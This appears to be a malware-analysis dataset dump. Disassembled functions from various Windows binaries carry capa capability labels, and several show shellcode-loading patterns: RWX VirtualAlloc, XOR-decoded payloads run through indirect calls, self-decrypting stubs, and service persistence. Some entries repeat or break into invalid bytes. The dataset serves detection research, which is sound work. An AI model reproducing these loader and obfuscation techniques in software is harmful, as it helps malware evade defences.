joyce8/EMBER2024-capa huggingface dataset:
Function at 0x50d7d
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
push edi
lea eax, [ecx + eax + 0x18]
test esi, esi
jbe 0x50dba
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x50db2
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x50dbc
inc edx
add eax, 0x28
cmp edx, esi
jb 0x50da2
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x401318
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0xa1f8
call fcn.00401a0c
call fcn.00401800
lea edi, [ebp - 0xa1e8]
mov esi, 0x403040
mov ecx, 0x2874
rep movsd dword es:[edi], dword [esi]
call sub.KERNEL32.dll_FreeConsole
lea esi, [ebp - 0xa1e8]
mov ebx, dword [ebp - 0x418]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x52e8
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 0xa1ec], eax
lea edi, [ebp - 0x418]
mov edx, eax
mov cl, byte [esi]
mov byte [edx], cl
inc edx
add esi, 2
cmp esi, edi
jne 0x401390
mov edx, dword [ebp - 0xa1ec]
add edx, 0x4ee8
mov ecx, 0x100
mov edi, edx
rep movsd dword es:[edi], dword [esi]
lea esi, [esi]
xor dword [eax], ebx
add ebx, 0x499602d2
add eax, 4
cmp eax, edx
jne 0x4013b4
call dword [ebp - 0xa1ec]
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
leave
lea esp, [ecx - 4]
ret

Function at 0x4014f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x401516
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4015aa
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401565
cmp eax, 0x40
je 0x401565
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401509
cmp eax, 0x40
je 0x401509
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x401509
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sub.msvcrt.dll__assert
lea esi, [esi]
lea edi, [edi]
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040b1c2
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040b1c2
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040b1c2
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040b1c2
mov dword [0x41203c], eax
call fcn.0040b1c2
test eax, eax
jge 0x402550
push 8
call fcn.0040b1c2
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040b1c2
pop ecx
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040b1c2
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040b1c2
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040b1c2
jmp 0x402495

Function at 0x40b1c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40b1d1
pop dword [ebp - 0x30]
mov eax, 0xa46e258f
add eax, 0x5bd28c42
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3a71b
push 0
mov eax, 0x9c162b9a
sub eax, 0x9bd54ac2
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x4c82
xor edi, edi
add edi, eax
mov ebx, 0x413bc4
add ebx, dword [ebp - 0x30]
mov esi, 0xbed23035
add esi, 0x39d0ef74
xor dword [ebp - 0x2c], 0x23212fc2
mov edx, dword [ebx]
sub dword [ebp - 0x2c], 0xc46db664
xor edx, esi
mov dword [ebp - 0x2c], 0x6ad81686
mov dword [edi], edx
add edi, 0xbb0d75
sub edi, 0xbb0d71
add ebx, 0x1235cd96
sub ebx, 0x1235cd92
loop 0x40b226
add eax, 0xcaa9211c
sub eax, 0xcaa7fc41
mov ebx, eax
add eax, 0x9cee0b20
sub eax, 0x9cee0b1b
mov ecx, 0x5cddca38
sub ecx, 0x5c9dca38
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x412ca9
Capabilities:
Encode data using xor

Disassembly:
add byte [eax + 0x20408a24], bh
cmp eax, ebx
jne fcn.00412cb8
mov eax, 0x1249478
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00408518
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00408518
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00408518
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00408518
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00408518
mov dword [0x41203c], eax
call fcn.00408518
test eax, eax
jge 0x402550
push 8
call fcn.00408518
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00408518
pop ecx
push 1
call fcn.00408518
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00408518
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00408518
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00408518
jmp 0x402495

Function at 0x408518
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x408527
pop dword [ebp - 0x14]
mov eax, 0x39de7b26
add eax, 0xc6620a01
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3bb34
push 0
mov eax, 0xe01df859
add eax, 0x2022e87f
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x5dd00b29
sub ecx, 0x5dcfb9ae
mov edi, eax
mov esi, 0xdfd9c71f
sub esi, 0xdf988b5b
add esi, dword [ebp - 0x14]
mov ebx, 0x331e2c5a
mov edx, dword [esi]
xor dword [ebp - 8], edi
sub edx, ebx
add dword [ebp - 0xc], edi
mov dword [edi], edx
mov dword [ebp - 4], 0xd9e6ae0d
add edi, 0xced4bccf
sub edi, 0xced4bccb
add esi, 4
loop 0x408580
add eax, 0x2d06ef85
add eax, 0xd2fa493a
mov ebx, eax
add eax, 0xdb00e99e
sub eax, 0xdb00e999
mov ecx, 0x821b1d89
add ecx, 0x7e24e277
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x100113e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100113f0
pop dword [ebp - 0x10]
mov eax, 0x23bef89e
sub eax, 0x13bde4ae
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x3916592b
sub dword [ebp - 0x20], 0xeac413e0
mov dword [ebp - 0x1c], 0xd2949ad9
add dword [ebp - 0x1c], 0x5f9eb16c
mov dword [ebp - 0x18], 0x97753c96
add dword [ebp - 0x18], 0xb4d70798
mov dword [ebp - 0x14], 0xf518ec65
sub dword [ebp - 0x14], 0xf518ec65
lea eax, [ebp - 0x20]
push eax
mov eax, 0xc7f56f48
sub eax, 0xb7f440f0
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xcffd6341
add dword [ebp - 0x20], 0xa4750615
mov dword [ebp - 0x1c], 0x22df520b
sub dword [ebp - 0x1c], 0xe172f096
mov dword [ebp - 0x18], 0xeaf3ef4e
add dword [ebp - 0x18], 0x787b7d1e
mov dword [ebp - 0x14], 0x3c8862ae
add dword [ebp - 0x14], 0xc3779d52
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x34ab2
push 0
call eax
mov ecx, 0x40a6
mov edx, eax
mov ebx, 0x1b363a64
sub ebx, 0xb34c064
add ebx, dword [ebp - 0x10]
mov edi, 0xd65da98c
sub dword [ebp - 0xc], edx
mov esi, dword [ebx]
sub dword [ebp - 8], eax
sub esi, edi
xor dword [ebp - 0xc], ecx
mov dword [edx], esi
add edx, 4
add ebx, 0xcc536ece
add ebx, 0x33ac9136
loop 0x10011501
add eax, 0x108cc46d
sub eax, 0x108bcf02
xor ebx, ebx
add ebx, eax
add eax, 0xeb1ef9
sub eax, 0xeb1ef4
mov ecx, 0x1a43c24e
add ecx, 0xf5bc3db2
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40f050
Capabilities:
Delete registry key
Delete registry value
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x4bc1dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push 0x497540
call fcn.0040ed30
add esp, 4
lea eax, [ebp - 0x210]
push eax
push 0x497570
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40f26e
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [ebp - 0x214]
push 4
push eax
push 4
push 0
push 0x4975c8
push dword [ebp - 0x210]
mov dword [ebp - 0x214], 2
call esi
push 4
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], 1
push eax
push 4
push 0
push 0x4975d4
push dword [ebp - 0x210]
call esi
push 4
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], 3
push eax
push 4
push 0
push 0x4975f0
push dword [ebp - 0x210]
call esi
push edi
lea eax, [ebp - 0x20c]
push 0x4975fc
push eax
call fcn.00401fc0
lea ecx, [ebp - 0x20c]
add esp, 0xc
lea edx, [ecx + 2]
jmp 0x40f130
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40f130
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x20c]
push eax
push 1
push 0
push 0x49760c
push dword [ebp - 0x210]
call esi
push dword [ebp - 0x210]
call fcn.0040e770
add esp, 4
push 0x497620
push 0x49738c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x7a
mov dword [ebp - 0x218], 0x497630
mov word [ebp - 0x21c], cx
lea ecx, [ebp - 0x21c]
push ecx
call eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, eax
push 0x4976b0
push reloc.WS2_32.dll_bind
call esi
push 0x497718
push reloc.WS2_32.dll_bind
call esi
push 0x497788
push reloc.WS2_32.dll_bind
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push 0x4975c8
push dword [ebp - 0x210]
call esi
push 0x4975d4
push dword [ebp - 0x210]
call esi
push 0x4975f0
push dword [ebp - 0x210]
call esi
push 0x49760c
push dword [ebp - 0x210]
call esi
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
test edi, edi
je 0x40f263
cmp edi, 0xc000010e
je 0x40f263
mov eax, dword [0x4bd8d0]
test eax, eax
jne 0x40f243
push 0x497374
push 0x49738c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4bd8d0], eax
push edi
call eax
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00470e77
mov esp, ebp
pop ebp
ret
push 0
push ebx
call fcn.0040f280
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00470e77
mov esp, ebp
pop ebp
ret

Function at 0x4166f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
invalid
movsd dword es:[edi], dword [esi]
cmp al, 0xfc
Function at 0x4172c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.00415e1b
movsb byte es:[edi], byte [esi]
outsb dx, byte [esi]
mov al, byte [0xd4858dad]
clc
invalid
Function at 0x465650
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x18]
push ebx
push edi
mov edi, dword [ebp + 0x1c]
push dword [ebp + 8]
mov dword [edi], 0
mov byte [eax], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
je 0x4656de
cmp word [ebx + 8], 2
push esi
jne 0x4656b2
cmp word [ebx + 0xa], 4
jne 0x4656b2
mov esi, dword [ebx + 0xc]
mov eax, dword [esi]
test eax, eax
je 0x4656b2
jmp 0x465690
push dword [eax]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00465580
mov dword [edi], eax
test eax, eax
je 0x4656d2
add esi, 4
lea edi, [eax + 0x1c]
mov eax, dword [esi]
test eax, eax
jne 0x465690
push 0x400
push dword [ebx]
push 0x401
push dword [ebp + 0x18]
call fcn.00474f3d
add esp, 0x10
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret 0x18
pop esi
pop edi
mov eax, 8
pop ebx
pop ebp
ret 0x18
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
add eax, 0xffffd507
cmp eax, 3
ja case.0x4656ee.11001
jmp dword [eax*4 + 0x465718]
pop edi
mov eax, 0x2af9
pop ebx
pop ebp
ret 0x18
pop edi
mov eax, 0x2afa
pop ebx
pop ebp
ret 0x18
pop edi
mov eax, 0x2afb
pop ebx
pop ebp
ret 0x18

Function at 0x465db0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, dword [esi]
test eax, eax
je 0x465e41
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [ebp - 4]
push edi
mov edi, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push edi
push eax
mov dword [ebp - 4], 0
call ebx
test eax, eax
jne 0x465e36
push dword [ebp - 4]
call fcn.004704a9
add esp, 4
mov dword [ebp + 8], eax
lea ecx, [ebp - 4]
push ecx
push eax
push 0
push 0
push edi
push dword [esi]
call ebx
push dword [ebp - 4]
mov esi, dword [ebp + 8]
push esi
call fcn.0046b800
mov edi, dword [ebp + 0xc]
add esp, 8
mov ebx, eax
mov ecx, dword [edi]
test ecx, ecx
je 0x465e20
call fcn.0046b840
push esi
mov dword [edi], ebx
call fcn.00471723
add esp, 4
mov al, 1
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8
pop edi
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 4]
test eax, eax
je 0x465e5e
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.00465a00
add esp, 0xc
pop esi
mov esp, ebp
pop ebp
ret 8
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x4669a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
mov ecx, edx
push esi
lea esi, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4669b0
mov eax, dword [ebp + 8]
sub ecx, esi
sar ecx, 1
add ecx, ecx
mov esi, dword [eax]
test esi, esi
je 0x4669e2
push ecx
push edx
push 1
push 0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
pop esi
sete al
pop ebp
ret
mov eax, dword [eax + 4]
test eax, eax
je 0x4669fa
push ecx
push edx
push dword [ebp + 0xc]
push eax
call fcn.00465ae0
add esp, 0x10
pop esi
pop ebp
ret
xor al, al
pop esi
pop ebp
ret
Function at 0x466c50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x4bc1dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x5c]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
push 0x58
push 0
push eax
mov dword [ebp - 0x60], 0
call fcn.00471730
add esp, 0xc
lea eax, [ebp - 0x60]
push eax
push 0x5c
push esi
call dword [sym.imp.GDI32.dll_GetObjectW]
push dword [0x4bd898]
push 0x48
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_MulDiv]
neg eax
mov dword [ebp - 0x60], eax
mov eax, dword [edi]
test eax, eax
je 0x466cd4
push 0x5c
lea ecx, [ebp - 0x60]
push ecx
push 3
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00470e77
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 4]
test eax, eax
je 0x466cfc
push 0x5c
lea ecx, [ebp - 0x60]
push ecx
push ebx
push eax
call fcn.00465ae0
add esp, 0x10
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00470e77
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00470e77
mov esp, ebp
pop ebp
ret

Function at 0x466db0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4bc1dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
lea ebx, [edi + edi]
mov eax, ebx
mov dword [ebp - 0xc], ebx
call fcn.00475290
mov eax, esp
mov dword [ebp - 8], eax
test edi, edi
je 0x466e05
mov ebx, dword [ebp + 0x10]
mov esi, eax
sub ebx, eax
push dword [0x4bd894]
movzx eax, word [ebx + esi]
push 0x60
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov word [esi], ax
lea esi, [esi + 2]
dec edi
jne 0x466de3
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
test edx, edx
je 0x466e20
push ebx
push eax
push 3
push 0
push dword [ebp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x466e35
mov ecx, dword [ecx + 4]
test ecx, ecx
je 0x466e35
push ebx
push eax
push dword [ebp + 0xc]
push ecx
call fcn.00465ae0
add esp, 0x10
mov al, 1
lea esp, [ebp - 0x18]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00470e77
mov esp, ebp
pop ebp
ret
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x408921
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
and edi, ecx
call fcn.00408946
mov edi, edi
xor dword [ebx], edx
sub ecx, 0x6837ce02
inc ebx
cmp ebx, esi
jne fcn.00408921
mov edi, 0x6b4d018
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401065
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x41de92
call fcn.0040ca5d
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], edi
call fcn.0040135f
mov dword [ebp - 4], edi
mov dword [ebp - 0x1c], 1
cmp dword [ebp + 0xc], edi
je 0x4011b7
mov eax, dword [ebp + 8]
dec dword [ebp + 0xc]
mov al, byte [eax]
mov byte [ebp + edi - 0x10], al
mov bl, byte [ebp - 0xf]
inc edi
inc dword [ebp + 8]
mov dword [ebp - 0x18], edi
cmp edi, 3
jne 0x401112
mov al, byte [ebp - 0x10]
shr al, 2
mov byte [ebp - 0x14], al
mov al, byte [ebp - 0x10]
and al, 3
shl al, 4
mov cl, bl
shr cl, 4
add al, cl
mov cl, byte [ebp - 0xe]
mov byte [ebp - 0x13], al
mov al, bl
and al, 0xf
shl al, 2
shr cl, 6
add al, cl
mov byte [ebp - 0x12], al
mov al, byte [ebp - 0xe]
and al, 0x3f
and dword [ebp - 0x18], 0
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x18]
movzx edi, byte [ebp + eax - 0x14]
mov eax, 0x426370
call fcn.0040140d
movzx eax, byte [eax]
push eax
call fcn.004013c4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x4010e7
and dword [ebp - 0x18], 0
mov edi, dword [ebp - 0x18]
cmp dword [ebp + 0xc], 0
jne 0x401093
test edi, edi
je 0x4011b7
cmp edi, 3
jge 0x401141
push 3
pop ecx
sub ecx, edi
push ecx
lea eax, [ebp + edi - 0x10]
push 0
push eax
call fcn.0040e530
mov bl, byte [ebp - 0xf]
add esp, 0xc
mov al, byte [ebp - 0x10]
mov cl, al
shr cl, 2
mov byte [ebp - 0x14], cl
and al, 3
mov cl, bl
shl al, 4
shr cl, 4
add al, cl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0xe]
and dword [ebp - 0x10], 0
and bl, 0xf
mov cl, al
shl bl, 2
shr cl, 6
add bl, cl
mov byte [ebp - 0x12], bl
and al, 0x3f
lea ebx, [edi + 1]
mov byte [ebp - 0x11], al
test ebx, ebx
jle 0x4011a4
mov eax, dword [ebp - 0x10]
movzx edi, byte [ebp + eax - 0x14]
mov eax, 0x426370
call fcn.0040140d
movzx eax, byte [eax]
push eax
call fcn.004013c4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x40117e
mov edi, dword [ebp - 0x18]
push 3
pop ebx
cmp edi, ebx
jge 0x4011b7
sub ebx, edi
push 0x3d
call fcn.004013c4
dec ebx
jne 0x4011ad
mov eax, esi
call fcn.0040cafc
ret